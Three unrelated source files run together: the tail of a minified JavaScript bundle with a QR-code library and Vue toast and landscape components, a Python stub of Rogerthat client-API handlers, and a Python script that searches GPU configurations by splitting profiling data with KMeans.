f,m=0;m<A[p].length;m++)f=m+h.getLength()-A[p].length,A[p][m]=0<=f?h.get(f):0}for(var g=0,m=0;m<t.length;m++)g+=t[m].totalCount;for(var b=Array(g),B=0,m=0;m<n;m++)for(var p=0;p<t.length;p++)m<l[p].length&&(b[B++]=l[p][m]);for(var m=0;m<d;m++)for(var p=0;p<t.length;p++)m<A[p].length&&(b[B++]=A[p][m]);return b};for(var p={MODE_NUMBER:1,MODE_ALPHA_NUM:2,MODE_8BIT_BYTE:4,MODE_KANJI:8},c={L:1,M:0,Q:3,H:2},m={PATTERN000:0,PATTERN001:1,PATTERN010:2,PATTERN011:3,PATTERN100:4,PATTERN101:5,PATTERN110:6,PATTERN111:7},u={PATTERN_POSITION_TABLE:[[],[6,18],[6,22],[6,26],[6,30],[6,34],[6,22,38],[6,24,42],[6,26,46],[6,28,50],[6,30,54],[6,32,58],[6,34,62],[6,26,46,66],[6,26,48,70],[6,26,50,74],[6,30,54,78],[6,30,56,82],[6,30,58,86],[6,34,62,90],[6,28,50,72,94],[6,26,50,74,98],[6,30,54,78,102],[6,28,54,80,106],[6,32,58,84,110],[6,30,58,86,114],[6,34,62,90,118],[6,26,50,74,98,122],[6,30,54,78,102,126],[6,26,52,78,104,130],[6,30,56,82,108,134],[6,34,60,86,112,138],[6,30,58,86,114,142],[6,34,62,90,118,146],[6,30,54,78,102,126,150],[6,24,50,76,102,128,154],[6,28,54,80,106,132,158],[6,32,58,84,110,136,162],[6,26,54,82,110,138,166],[6,30,58,86,114,142,170]],G15:1335,G18:7973,G15_MASK:21522,getBCHTypeInfo:function(e){for(var t=e<<10;0<=u.getBCHDigit(t)-u.getBCHDigit(u.G15);)t^=u.G15<<u.getBCHDigit(t)-u.getBCHDigit(u.G15);return(e<<10|t)^u.G15_MASK},getBCHTypeNumber:function(e){for(var t=e<<12;0<=u.getBCHDigit(t)-u.getBCHDigit(u.G18);)t^=u.G18<<u.getBCHDigit(t)-u.getBCHDigit(u.G18);return e<<12|t},getBCHDigit:function(e){for(var t=0;0!=e;)t++,e>>>=1;return t},getPatternPosition:function(e){return u.PATTERN_POSITION_TABLE[e-1]},getMask:function(e,t,o){switch(e){case m.PATTERN000:return 0==(t+o)%2;case m.PATTERN001:return 0==t%2;case m.PATTERN010:return 0==o%3;case m.PATTERN011:return 0==(t+o)%3;case m.PATTERN100:return 0==(A(t/2)+A(o/3))%2;case m.PATTERN101:return 0==t*o%2+t*o%3;case m.PATTERN110:return 0==(t*o%2+t*o%3)%2;case m.PATTERN111:return 0==(t*o%3+(t+o)%2)%2;default:throw new Error("bad maskPattern:"+e);}},getErrorCorrectPolynomial:function(e){for(var t=new s([1],0),o=0;o<e;o++)t=t.multiply(new s([1,C.gexp(o)],0));return t},getLengthInBits:function(e,t){if(1<=t&&10>t)switch(e){case p.MODE_NUMBER:return 10;case p.MODE_ALPHA_NUM:return 9;case p.MODE_8BIT_BYTE:return 8;case p.MODE_KANJI:return 8;default:throw new Error("mode:"+e);}else if(27>t)switch(e){case p.MODE_NUMBER:return 12;case p.MODE_ALPHA_NUM:return 11;case p.MODE_8BIT_BYTE:return 16;case p.MODE_KANJI:return 10;default:throw new Error("mode:"+e);}else if(41>t)switch(e){case p.MODE_NUMBER:return 14;case p.MODE_ALPHA_NUM:return 13;case p.MODE_8BIT_BYTE:return 16;case p.MODE_KANJI:return 12;default:throw new Error("mode:"+e);}else throw new Error("type:"+t)},getLostPoint:function(e){for(var t=e.getModuleCount(),o=0,a=0;a<t;a++)for(var s=0;s<t;s++){for(var n=0,d=e.isDark(a,s),i=-1;1>=i;i++)if(!(0>a+i||t<=a+i))for(var l=-1;1>=l;l++)0>s+l||t<=s+l||(0!=i||0!=l)&&d==e.isDark(a+i,s+l)&&n++;5<n&&(o+=3+n-5)}for(var a=0;a<t-1;a++)for(var r,s=0;s<t-1;s++)r=0,e.isDark(a,s)&&r++,e.isDark(a+1,s)&&r++,e.isDark(a,s+1)&&r++,e.isDark(a+1,s+1)&&r++,(0==r||4==r)&&(o+=3);for(var a=0;a<t;a++)for(var s=0;s<t-6;s++)e.isDark(a,s)&&!e.isDark(a,s+1)&&e.isDark(a,s+2)&&e.isDark(a,s+3)&&e.isDark(a,s+4)&&!e.isDark(a,s+5)&&e.isDark(a,s+6)&&(o+=40);for(var s=0;s<t;s++)for(var a=0;a<t-6;a++)e.isDark(a,s)&&!e.isDark(a+1,s)&&e.isDark(a+2,s)&&e.isDark(a+3,s)&&e.isDark(a+4,s)&&!e.isDark(a+5,s)&&e.isDark(a+6,s)&&(o+=40);for(var A=0,s=0;s<t;s++)for(var a=0;a<t;a++)e.isDark(a,s)&&A++;var p=Math.abs(100*A/t/t-50)/5;return o+=10*p,o}},C={glog:function(e){if(1>e)throw new Error("glog("+e+")");return C.LOG_TABLE[e]},gexp:function(e){for(;0>e;)e+=255;for(;256<=e;)e-=255;return C.EXP_TABLE[e]},EXP_TABLE:Array(256),LOG_TABLE:Array(256)},h=0;8>h;h++)C.EXP_TABLE[h]=1<<h;for(var h=8;256>h;h++)C.EXP_TABLE[h]=C.EXP_TABLE[h-4]^C.EXP_TABLE[h-5]^C.EXP_TABLE[h-6]^C.EXP_TABLE[h-8];for(var h=0;255>h;h++)C.LOG_TABLE[C.EXP_TABLE[h]]=h;s.prototype={get:function(e){return this.num[e]},getLength:function(){return this.num.length},multiply:function(t){for(var e=Array(this.getLength()+t.getLength()-1),o=0;o<this.getLength();o++)for(var a=0;a<t.getLength();a++)e[o+a]^=C.gexp(C.glog(this.get(o))+C.glog(t.get(a)));return new s(e,0)},mod:function(t){if(0>this.getLength()-t.getLength())return this;for(var e=C.glog(this.get(0))-C.glog(t.get(0)),o=Array(this.getLength()),a=0;a<this.getLength();a++)o[a]=this.get(a);for(var a=0;a<t.getLength();a++)o[a]^=C.gexp(C.glog(t.get(a))+e);return new s(o,0).mod(t)}},a.RS_BLOCK_TABLE=[[1,26,19],[1,26,16],[1,26,13],[1,26,9],[1,44,34],[1,44,28],[1,44,22],[1,44,16],[1,70,55],[1,70,44],[2,35,17],[2,35,13],[1,100,80],[2,50,32],[2,50,24],[4,25,9],[1,134,108],[2,67,43],[2,33,15,2,34,16],[2,33,11,2,34,12],[2,86,68],[4,43,27],[4,43,19],[4,43,15],[2,98,78],[4,49,31],[2,32,14,4,33,15],[4,39,13,1,40,14],[2,121,97],[2,60,38,2,61,39],[4,40,18,2,41,19],[4,40,14,2,41,15],[2,146,116],[3,58,36,2,59,37],[4,36,16,4,37,17],[4,36,12,4,37,13],[2,86,68,2,87,69],[4,69,43,1,70,44],[6,43,19,2,44,20],[6,43,15,2,44,16],[4,101,81],[1,80,50,4,81,51],[4,50,22,4,51,23],[3,36,12,8,37,13],[2,116,92,2,117,93],[6,58,36,2,59,37],[4,46,20,6,47,21],[7,42,14,4,43,15],[4,133,107],[8,59,37,1,60,38],[8,44,20,4,45,21],[12,33,11,4,34,12],[3,145,115,1,146,116],[4,64,40,5,65,41],[11,36,16,5,37,17],[11,36,12,5,37,13],[5,109,87,1,110,88],[5,65,41,5,66,42],[5,54,24,7,55,25],[11,36,12],[5,122,98,1,123,99],[7,73,45,3,74,46],[15,43,19,2,44,20],[3,45,15,13,46,16],[1,135,107,5,136,108],[10,74,46,1,75,47],[1,50,22,15,51,23],[2,42,14,17,43,15],[5,150,120,1,151,121],[9,69,43,4,70,44],[17,50,22,1,51,23],[2,42,14,19,43,15],[3,141,113,4,142,114],[3,70,44,11,71,45],[17,47,21,4,48,22],[9,39,13,16,40,14],[3,135,107,5,136,108],[3,67,41,13,68,42],[15,54,24,5,55,25],[15,43,15,10,44,16],[4,144,116,4,145,117],[17,68,42],[17,50,22,6,51,23],[19,46,16,6,47,17],[2,139,111,7,140,112],[17,74,46],[7,54,24,16,55,25],[34,37,13],[4,151,121,5,152,122],[4,75,47,14,76,48],[11,54,24,14,55,25],[16,45,15,14,46,16],[6,147,117,4,148,118],[6,73,45,14,74,46],[11,54,24,16,55,25],[30,46,16,2,47,17],[8,132,106,4,133,107],[8,75,47,13,76,48],[7,54,24,22,55,25],[22,45,15,13,46,16],[10,142,114,2,143,115],[19,74,46,4,75,47],[28,50,22,6,51,23],[33,46,16,4,47,17],[8,152,122,4,153,123],[22,73,45,3,74,46],[8,53,23,26,54,24],[12,45,15,28,46,16],[3,147,117,10,148,118],[3,73,45,23,74,46],[4,54,24,31,55,25],[11,45,15,31,46,16],[7,146,116,7,147,117],[21,73,45,7,74,46],[1,53,23,37,54,24],[19,45,15,26,46,16],[5,145,115,10,146,116],[19,75,47,10,76,48],[15,54,24,25,55,25],[23,45,15,25,46,16],[13,145,115,3,146,116],[2,74,46,29,75,47],[42,54,24,1,55,25],[23,45,15,28,46,16],[17,145,115],[10,74,46,23,75,47],[10,54,24,35,55,25],[19,45,15,35,46,16],[17,145,115,1,146,116],[14,74,46,21,75,47],[29,54,24,19,55,25],[11,45,15,46,46,16],[13,145,115,6,146,116],[14,74,46,23,75,47],[44,54,24,7,55,25],[59,46,16,1,47,17],[12,151,121,7,152,122],[12,75,47,26,76,48],[39,54,24,14,55,25],[22,45,15,41,46,16],[6,151,121,14,152,122],[6,75,47,34,76,48],[46,54,24,10,55,25],[2,45,15,64,46,16],[17,152,122,4,153,123],[29,74,46,14,75,47],[49,54,24,10,55,25],[24,45,15,46,46,16],[4,152,122,18,153,123],[13,74,46,32,75,47],[48,54,24,14,55,25],[42,45,15,32,46,16],[20,147,117,4,148,118],[40,75,47,7,76,48],[43,54,24,22,55,25],[10,45,15,67,46,16],[19,148,118,6,149,119],[18,75,47,31,76,48],[34,54,24,34,55,25],[20,45,15,61,46,16]],a.getRSBlocks=function(e,t){var o=a.getRsBlockTable(e,t);if(void 0==o)throw new Error("bad rs block @ typeNumber:"+e+"/errorCorrectLevel:"+t);for(var s=o.length/3,n=[],d=0;d<s;d++)for(var i=o[3*d+0],l=o[3*d+1],r=o[3*d+2],A=0;A<i;A++)n.push(new a(l,r));return n},a.getRsBlockTable=function(e,t){return t===c.L?a.RS_BLOCK_TABLE[4*(e-1)+0]:t===c.M?a.RS_BLOCK_TABLE[4*(e-1)+1]:t===c.Q?a.RS_BLOCK_TABLE[4*(e-1)+2]:t===c.H?a.RS_BLOCK_TABLE[4*(e-1)+3]:void 0},n.prototype={get:function(e){var t=A(e/8);return 1==(1&this.buffer[t]>>>7-e%8)},put:function(e,t){for(var o=0;o<t;o++)this.putBit(1==(1&e>>>t-o-1))},getLengthInBits:function(){return this.length},putBit:function(e){var t=A(this.length/8);this.buffer.length<=t&&this.buffer.push(0),e&&(this.buffer[t]|=128>>>this.length%8),this.length++}};var f=[[17,14,11,7],[32,26,20,14],[53,42,32,24],[78,62,46,34],[106,84,60,44],[134,106,74,58],[154,122,86,64],[192,152,108,84],[230,180,130,98],[271,213,151,119],[321,251,177,137],[367,287,203,155],[425,331,241,177],[458,362,258,194],[520,412,292,220],[586,450,322,250],[644,504,364,280],[718,560,394,310],[792,624,442,338],[858,666,482,382],[929,711,509,403],[1003,779,565,439],[1091,857,611,461],[1171,911,661,511],[1273,997,715,535],[1367,1059,751,593],[1465,1125,805,625],[1528,1190,868,658],[1628,1264,908,698],[1732,1370,982,742],[1840,1452,1030,790],[1952,1538,1112,842],[2068,1628,1168,898],[2188,1722,1228,958],[2303,1809,1283,983],[2431,1911,1351,1051],[2563,1989,1423,1093],[2699,2099,1499,1139],[2809,2213,1579,1219],[2953,2331,1663,1273]],g=function(){var e=function(e,t){this._el=e,this._htOption=t};return e.prototype.draw=function(e){function t(e,t){var o=document.createElementNS("http://www.w3.org/2000/svg",e);for(var a in t)t.hasOwnProperty(a)&&o.setAttribute(a,t[a]);return o}var o=this._htOption,a=this._el,s=e.getModuleCount(),n=A(o.width/s),d=A(o.height/s);this.clear();var i=t("svg",{viewBox:"0 0 "+(s+" ")+(s+""),width:"100%",height:"100%",fill:o.colorLight});i.setAttributeNS("http://www.w3.org/2000/xmlns/","xmlns:xlink","http://www.w3.org/1999/xlink"),a.appendChild(i),i.appendChild(t("rect",{fill:o.colorLight,width:"100%",height:"100%"})),i.appendChild(t("rect",{fill:o.colorDark,width:"1",height:"1",id:"template"}));for(var l=0;l<s;l++)for(var r=0;r<s;r++)if(e.isDark(l,r)){var p=t("use",{x:l+"",y:r+""});p.setAttributeNS("http://www.w3.org/1999/xlink","href","#template"),i.appendChild(p)}},e.prototype.clear=function(){for(;this._el.hasChildNodes();)this._el.removeChild(this._el.lastChild)},e}(),i="svg"===document.documentElement.tagName.toLowerCase(),b=i?g:function(){return"undefined"!=typeof CanvasRenderingContext2D}()?function(){function e(){this._elImage.src=this._elCanvas.toDataURL("image/png"),this._elImage.style.setProperty("display","block","important"),this._elCanvas.style.setProperty("display","none","important")}function t(e,t){var o=this;if(o._fFail=t,o._fSuccess=e,null===o._bSupportDataURI){var a=document.createElement("img"),s=function(){o._bSupportDataURI=!1,o._fFail&&o._fFail.call(o)},n=function(){o._bSupportDataURI=!0,o._fSuccess&&o._fSuccess.call(o)};return a.onabort=s,a.onerror=s,a.onload=n,void(a.src="data:image/gif;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO9TXL0Y4OHwAAAABJRU5ErkJggg==")}!0===o._bSupportDataURI&&o._fSuccess?o._fSuccess.call(o):!1===o._bSupportDataURI&&o._fFail&&o._fFail.call(o)}if(this._android&&2.1>=this._android){var o=1/window.devicePixelRatio,a=CanvasRenderingContext2D.prototype.drawImage;CanvasRenderingContext2D.prototype.drawImage=function(e,t,s,n,d,l,r,A){if("nodeName"in e&&/img/i.test(e.nodeName))for(var p=arguments.length-1;1<=p;p--)arguments[p]*=o;else"undefined"==typeof A&&(arguments[1]*=o,arguments[2]*=o,arguments[3]*=o,arguments[4]*=o);a.apply(this,arguments)}}var s=function(e,t){this._bIsPainted=!1,this._android=d(),this._htOption=t,this._elCanvas=document.createElement("canvas"),this._elCanvas.width=t.width,this._elCanvas.height=t.height,e.appendChild(this._elCanvas),this._el=e,this._oContext=this._elCanvas.getContext("2d"),this._bIsPainted=!1,this._elImage=document.createElement("img"),this._elImage.alt="Scan me!",this._elImage.style.setProperty("display","none","important"),this._el.appendChild(this._elImage),this._bSupportDataURI=null};return s.prototype.draw=function(e){var t=Math.ceil,o=Math.round,a=this._elImage,s=this._oContext,n=this._htOption,d=e.getModuleCount(),i=n.width/d,l=n.height/d,r=o(i),p=o(l);a.style.setProperty("display","none","important"),this.clear();for(var c=0;c<d;c++)for(var m=0;m<d;m++){var u=e.isDark(c,m),C=m*i,h=c*l;s.strokeStyle=u?n.colorDark:n.colorLight,s.lineWidth=1,s.fillStyle=u?n.colorDark:n.colorLight,s.fillRect(C,h,i,l),s.strokeRect(A(C)+.5,A(h)+.5,r,p),s.strokeRect(t(C)-.5,t(h)-.5,r,p)}this._bIsPainted=!0},s.prototype.makeImage=function(){this._bIsPainted&&t.call(this,e)},s.prototype.isPainted=function(){return this._bIsPainted},s.prototype.clear=function(){this._oContext.clearRect(0,0,this._elCanvas.width,this._elCanvas.height),this._bIsPainted=!1},s.prototype.round=function(e){return e?A(1e3*e)/1e3:e},s}():function(){var e=function(e,t){this._el=e,this._htOption=t};return e.prototype.draw=function(e){for(var t=this._htOption,o=this._el,a=e.getModuleCount(),s=A(t.width/a),n=A(t.height/a),d=["<table style=\"border:0;border-collapse:collapse;\">"],i=0;i<a;i++){d.push("<tr>");for(var l=0;l<a;l++)d.push("<td style=\"border:0;border-collapse:collapse;padding:0;margin:0;width:"+s+"px;height:"+n+"px;background-color:"+(e.isDark(i,l)?t.colorDark:t.colorLight)+";\"></td>");d.push("</tr>")}d.push("</table>"),o.innerHTML=d.join("");var r=o.childNodes[0],p=(t.width-r.offsetWidth)/2,c=(t.height-r.offsetHeight)/2;0<p&&0<c&&(r.style.margin=c+"px "+p+"px")},e.prototype.clear=function(){this._el.innerHTML=""},e}();t=function(e,t){if(this._htOption={width:256,height:256,typeNumber:4,colorDark:"#000000",colorLight:"#ffffff",correctLevel:c.H},"string"==typeof t&&(t={text:t}),t)for(var o in t)this._htOption[o]=t[o];"string"==typeof e&&(e=document.getElementById(e)),this._htOption.useSVG&&(b=g),this._android=d(),this._el=e,this._oQRCode=null,this._oDrawing=new b(this._el,this._htOption),this._htOption.text&&this.makeCode(this._htOption.text)},t.prototype.makeCode=function(e){this._oQRCode=new o(l(e,this._htOption.correctLevel),this._htOption.correctLevel),this._oQRCode.addData(e),this._oQRCode.make(),this._el.title=e,this._oDrawing.draw(this._oQRCode),this.makeImage()},t.prototype.makeImage=function(){"function"==typeof this._oDrawing.makeImage&&(!this._android||3<=this._android)&&this._oDrawing.makeImage()},t.prototype.clear=function(){this._oDrawing.clear()},t.CorrectLevel=c})(),e&&e.exports&&(e.exports=t)}).call(t,o("3IRH")(e))},ylCB:function(e,t,o){var a,s,n;(function(){(function(d,i){s=[t,o("Diih"),o("DIBZ"),o("U6ik"),o("470t")],a=i,n="function"==typeof a?a.apply(t,s):a,!(void 0!==n&&(e.exports=n))})(this,function(e,t,o){"use strict";function a(e){return e&&e.__esModule?e:{default:e}}function s(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e}Object.defineProperty(e,"__esModule",{value:!0});var n,d=a(t),i=a(o);e.default={name:"md-landscape",components:(n={},s(n,d.default.name,d.default),s(n,i.default.name,i.default),n),props:{value:{type:Boolean,default:!1},scroll:{type:Boolean,default:!1},hasMask:{type:Boolean,default:!0},maskClosable:{type:Boolean,default:!1}},data:function(){return{isLandscapeShow:this.value}},watch:{value:function(e){this.isLandscapeShow=e}},methods:{$_close:function(){this.isLandscapeShow=!1}}}})})(),e.exports.__esModule&&(e.exports=e.exports.default);var d="function"==typeof e.exports?e.exports.options:e.exports;d.functional&&console.error("[vueify] functional components are not supported and should be defined in plain js files using render functions."),d.render=function(){var e=this,t=e.$createElement,o=e._self._c||t;return o("div",{staticClass:"md-landscape"},[o("md-popup",{attrs:{"mask-closable":e.maskClosable,"prevent-scroll":"","prevent-scroll-exclude":e.scroll?".content":null,"has-mask":e.hasMask},on:{input:function(){e.$emit("input",!1)},show:function(){e.$emit("show")},hide:function(){e.$emit("hide")}},model:{value:e.isLandscapeShow,callback:function(t){e.isLandscapeShow=t},expression:"isLandscapeShow"}},[o("div",{staticClass:"content",class:{scroll:e.scroll}},[e._t("default")],2)]),e._v(" "),o("div",{directives:[{name:"show",rawName:"v-show",value:e.isLandscapeShow,expression:"isLandscapeShow"}],staticClass:"close",class:{dark:!e.hasMask},on:{click:e.$_close}},[o("md-icon",{attrs:{name:"cross",size:"lg"}})],1)],1)},d.staticRenderFns=[],!1},zQxW:function(e,t,o){var a,s,n;(function(){(function(d,i){s=[t,o("Diih"),o("DIBZ"),o("U6ik"),o("QSlW")],a=i,n="function"==typeof a?a.apply(t,s):a,!(void 0!==n&&(e.exports=n))})(this,function(e,t,o){"use strict";function a(e){return e&&e.__esModule?e:{default:e}}function s(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e}Object.defineProperty(e,"__esModule",{value:!0});var n,d=a(t),i=a(o);e.default={name:"md-toast",components:(n={},s(n,d.default.name,d.default),s(n,i.default.name,i.default),n),props:{icon:{type:String,default:""},content:{type:[String,Number],default:""},duration:{type:Number,default:0},position:{type:String,default:"center"},hasMask:{type:Boolean,default:!1}},data:function(){return{visible:!0}},mounted:function(){this.$_update()},updated:function(){this.$_update()},beforeDestroy:function(){this.duration&&clearTimeout(this.$_timer)},methods:{$_update:function(){var e=this;clearTimeout(this.$_timer),this.visible&&this.duration&&(this.$_timer=setTimeout(function(){e.hide()},this.duration))},$_onHide:function(){this.$emit("hide")},hide:function(){this.visible=!1}}}})})(),e.exports.__esModule&&(e.exports=e.exports.default);var d="function"==typeof e.exports?e.exports.options:e.exports;d.functional&&console.error("[vueify] functional components are not supported and should be defined in plain js files using render functions."),d.render=function(){var e=this,t=e.$createElement,o=e._self._c||t;return o("div",{staticClass:"md-toast",class:[e.icon?"has-icon":"",e.position]},[o("md-popup",{attrs:{hasMask:e.hasMask,maskClosable:!1},on:{hide:e.$_onHide},model:{value:e.visible,callback:function(t){e.visible=t},expression:"visible"}},[o("div",{staticClass:"md-toast-content"},[e.icon?o("md-icon",{attrs:{name:e.icon,size:"lg"}}):e._e(),e._v(" "),o("span",{domProps:{textContent:e._s(e.content)}})],1)])],1)},d.staticRenderFns=[],!1}});
# -*- coding: utf-8 -*- # Copyright 2020 Green Valley Belgium NV # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # @@license_version:1.7@@ from mcfw.rpc import returns, arguments from rogerthat.rpc.rpc import capi from rogerthat.to.service import ReceiveApiCallResultResponseTO, ReceiveApiCallResultRequestTO, UpdateUserDataResponseTO, \ UpdateUserDataRequestTO @capi('com.mobicage.capi.services.receiveApiCallResult') @returns(ReceiveApiCallResultResponseTO) @arguments(request=ReceiveApiCallResultRequestTO) def receiveApiCallResult(request): pass @capi('com.mobicage.capi.services.updateUserData') @returns(UpdateUserDataResponseTO) @arguments(request=UpdateUserDataRequestTO) def updateUserData(request): pass
import os,sys,platform import csv gputype_list = ['M60','K80','T4','V100'] current_dir = os.path.abspath('.') all_m = ['bert-large','densenet-201','gru','inception-v2','inception-v4','mobilenet-v2','resnet-101','resnet-152-v2','roberta','tacotron2','transformer','vgg16'] all_o = ['add','batch_norm','concat','conv1d','conv2d','dense','multiply','relu','sigmoid','split','strided_slice','tanh','transpose'] baselines = ['morphling', 'vesta', 'heterbo', 'ernest'] import json import os import platform import sys import csv # from time import sleep, time import pandas as pd import numpy as np # from torch import manual_seed # from bayesmark.np_util import argmin_2d, random # from bayesmark.constants import ITER # import bayesmark.random_search as rs # from bayesmark.experiment import logger from bayesmark.space import JointSpace # from bayesmark.stats import robust_standardize from sklearn.cluster import KMeans from sklearn.neighbors import KNeighborsClassifier from sklearn.svm import SVC # from utils import sampler # from utils.turbo1 import TuRBO1 # from turbo.utils import from_unit_cube, latin_hypercube, to_unit_cube from copy import deepcopy from typing import Optional # try: # from util import copula_standardize # except: # from utils.util import copula_standardize try: from utils import query, standardize, devision except: import query, standardize, devision all_m = ['bert-large', 'densenet-201', 'gru', 'inception-v2', 'inception-v4', 'mobilenet-v2', 'resnet-101', 'resnet-152-v2', 'roberta', 'tacotron2', 'transformer', 'vgg16'] all_gputype = ['M60','K80','T4','V100'] current_dir = os.path.abspath('.') X_list = [] y_list = [] islast = False model = "" operator = "" max_margin_labels = None optimal_points_in_operator_data = None near_optimal_points_in_operator_data = None iteration = 0 api_config = { "p1": {"type": "real", "space": "linear", "range": (1e-5, 1)}, "p2": {"type": "real", "space": "linear", "range": (1e-5, 1)}, "p3": {"type": "real", "space": "linear", "range": (1e-5, 1)}, "p4": {"type": "real", "space": "linear", "range": (1e-5, 1)}, "p5": {"type": "real", "space": "linear", "range": (1e-5, 1)} } def input(op): global model global X_list global y_list global operator global max_margin_labels X_list = [] y_list = [] max_margin_labels = None operator = op print(operator) model = _get_model_name(operator) if platform.system() == "Windows": target_dir = None target_dir_parent = "../../data/models/model-operator/" + model for file in os.listdir(target_dir_parent): if file[-4:] != ".csv": if operator in file: target_dir = os.path.join(target_dir_parent,file) break else: target_dir = None target_dir_parent = "/home/falcon/data/models/model-operator/%s/" % (model) for file in os.listdir(target_dir_parent): if file[-4:] != ".csv": if operator in file: target_dir = os.path.join(target_dir_parent,file) break for root, dirs, files in os.walk(target_dir): for file in files: path = os.path.join(root, file) df = (pd.read_csv(path, header=None, index_col=False, engine="c", na_filter=False, true_values=["true"], false_values=["false"])) df.columns = ["col1", "col2", "col3"] label = df.columns[-1] # Assume last col is target target = df.pop(label).values # values = robust_standardize(df.values, q_level=0.86) # target = robust_standardize(target, q_level=0.86) values = np.array(df.values) target = np.array(target) X_list.append(values) y_list.append(target) def _get_model_name(operator): if operator == 'add': return 'bert-large' elif operator == 'batch_norm': return 'densenet-201' elif operator == 'concat': return 'gru' elif operator == 'conv1d': return 'tacotron2' elif operator == 'conv2d': return 'inception-v2' elif operator == 'dense': return 'gru' elif operator == 'multiply': return 'gru' elif operator == 'relu': return 'densenet-201' elif operator == 'sigmoid': return 'gru' elif operator == 'split': return 'gru' elif operator == 'strided_slice': return 'gru' elif operator == 'tanh': return 'tacotron2' elif operator == 'transpose': return 'transformer' else: return None class MCTSBOSearcher(): primary_import = 'scikit-learn' def __init__(self, **kwargs): self.X_init = None self.batch_size = None self.mctsbo = None self.split_used = 0 self.node = None self.target = None self.space_x = JointSpace(api_config) self.bounds = self.space_x.get_bounds() self.bounds = self.space_x.get_bounds() self.lb, self.ub = self.bounds[:, 0], self.bounds[:, 1] self.X = [] self.y = [] self.config = self._read_config() # print('config:', self.config) self.is_init_batch = False self.init_batches = [] self.n_init = 1 def _read_config(self): return {'turbo_training_steps': 100, 'turbo_length_retries': 3, 'turbo_length_init_method': 'default', 'experimental_design': 'lhs_classic_ratio', 'n_init_points': 5, 'max_tree_depth': 9, 'kmeans_resplits': 10, 'split_model': {'type': 'SVC', 'args': {'kernel': 'poly', 'gamma': 'scale', 'C': 1000023}}, 'reset_no_improvement': 10, 'reset_split_after': 10, 'mctsbo': {'budget': 128, 'use_cylinder': 0, 'use_pull': 0, 'use_lcb': 0, 'kappa': 2.0, 'use_decay': 1, 'decay_alpha': 0.49937937259674076, 'decay_threshold': 0.5, 'length_min': 1e-06, 'length_max': 2.0, 'length_init': 0.8, 'length_multiplier': 2.0}} def _get_split_model(self, X, kmeans_labels): global max_margin_labels split_model_config = self.config['split_model'] model_type = split_model_config['type'] args = split_model_config['args'] if model_type == 'SVC': split_model = SVC(**args, max_iter=10 ** 7) elif model_type == 'KNeighborsClassifier': split_model = KNeighborsClassifier(**args) else: raise ValueError(f'Unknown split model type in the config: {model_type}.') # print("X:", X) # print("labels:", kmeans_labels) split_model.fit(X, kmeans_labels) split_model_predictions = max_margin_labels split_model_matches = np.sum(split_model_predictions == kmeans_labels) split_model_mismatches = np.sum(split_model_predictions != kmeans_labels) print('Labels for the split model:', kmeans_labels) print('Predictions of the split model:', split_model_predictions) print(f'Split model matches {split_model_matches} and mismatches {split_model_mismatches}') return split_model def _find_split(self, X, y) -> Optional: global max_margin_labels max_margin = None max_margin_labels = None km = None for _ in range(self.config['kmeans_resplits']): kmeans = KMeans(n_clusters=2).fit(y) kmeans_labels = kmeans.labels_ if np.count_nonzero(kmeans_labels == 1) > 0 and np.count_nonzero(kmeans_labels == 0) > 0: if np.mean(y[kmeans_labels == 1]) < np.mean(y[kmeans_labels == 0]): # Reverse labels if the entries with 1s have a higher mean error, since 1s go to the left branch. kmeans_labels = 1 - kmeans_labels else: km = kmeans margin = -(np.mean(y[kmeans_labels == 1]) - np.mean(y[kmeans_labels == 0])) if max_margin is None or margin > max_margin: max_margin = margin max_margin_labels = kmeans_labels print('Search areas, 1 means "good" search points, 0 means "bad" search points:', kmeans_labels) if max_margin_labels is None: return None else: # print(max_margin_labels) return km # return self._get_split_model(X, max_margin_labels), km def _build_tree(self, X, y, depth=0, index=0): # print("X:", X) # print('len(X) in _build_tree is', len(X)) if index % 4 == 0: lb = np.array(self.lb)[[0, -1]] ub = np.array(self.ub)[[0, -1]] elif index % 4 == 1: lb = np.array(self.lb)[[1, -1]] ub = np.array(self.ub)[[1, -1]] elif index % 4 == 2: lb = np.array(self.lb)[[1, -2]] ub = np.array(self.ub)[[1, -2]] elif index % 4 == 3: lb = np.array(self.lb)[[1, 2]] ub = np.array(self.ub)[[1, 2]] X = deepcopy(X) y = deepcopy(y) print('Building the tree/branch for the %s operator.' % operator) print('Configuration candidates in current tree/branch is', len(X)) if depth == self.config['max_tree_depth']: return [] split = self._find_split(X, y.reshape(-1, 1)) # _, split = self._find_split(X, y.reshape(-1, 1)) if split is None: return [] # in_region_points = split.predict(X) in_region_points = max_margin_labels left_subtree_size = np.count_nonzero(in_region_points == 1) right_subtree_size = np.count_nonzero(in_region_points == 0) print(f'{len(X)} configuration candidates would be split {left_subtree_size}/{right_subtree_size} of "good/bad" points.') idx = (in_region_points == 1) # X = X_list[(index + 1) % 4][idx[0:len(X_list[(index + 1) % 4])]] # y = y_list[(index + 1) % 4][idx[0:len(y_list[(index + 1) % 4])]] X_list[index % 4] = X_list[index % 4][idx] print("result", (X_list[index % 4])) if left_subtree_size <= self.n_init: return [] if index > 2: return [split] # splits = self._build_tree(X[idx], y[idx], depth + 1) # print("X_list:", X_list) splits = self._build_tree(X_list[(index + 1) % 4], y_list[(index + 1) % 4], depth + 1, index + 1) return [split] + splits def _get_in_node_region(self, points, splits): # for i in range(0, len(splits)): # if i == 0: # split_in_region, splits[i] = splits[i].predict(np.array(points)[:, [0, -1]]) # elif i == 1: # split_in_region = splits[i].predict(np.array(points)[:, [1, -1]]) # elif i == 2: # split_in_region = splits[i].predict(np.array(points)[:, [1, -2]]) # elif i == 3: # split_in_region = splits[i].predict(np.array(points)[:, [1, 2]]) # print(split_in_region) in_region = np.ones(len(points)) for split in splits: split_in_region = split.predict(points) # print("split_in_region:", split_in_region) in_region *= split_in_region return in_region # in_region *= split_in_region # return in_region def build_tree_for_op(self): X = np.array(X_list[0]) y = np.array(y_list[0]) if not self.node: self.split_used = 0 self.node = self._build_tree(X, y) 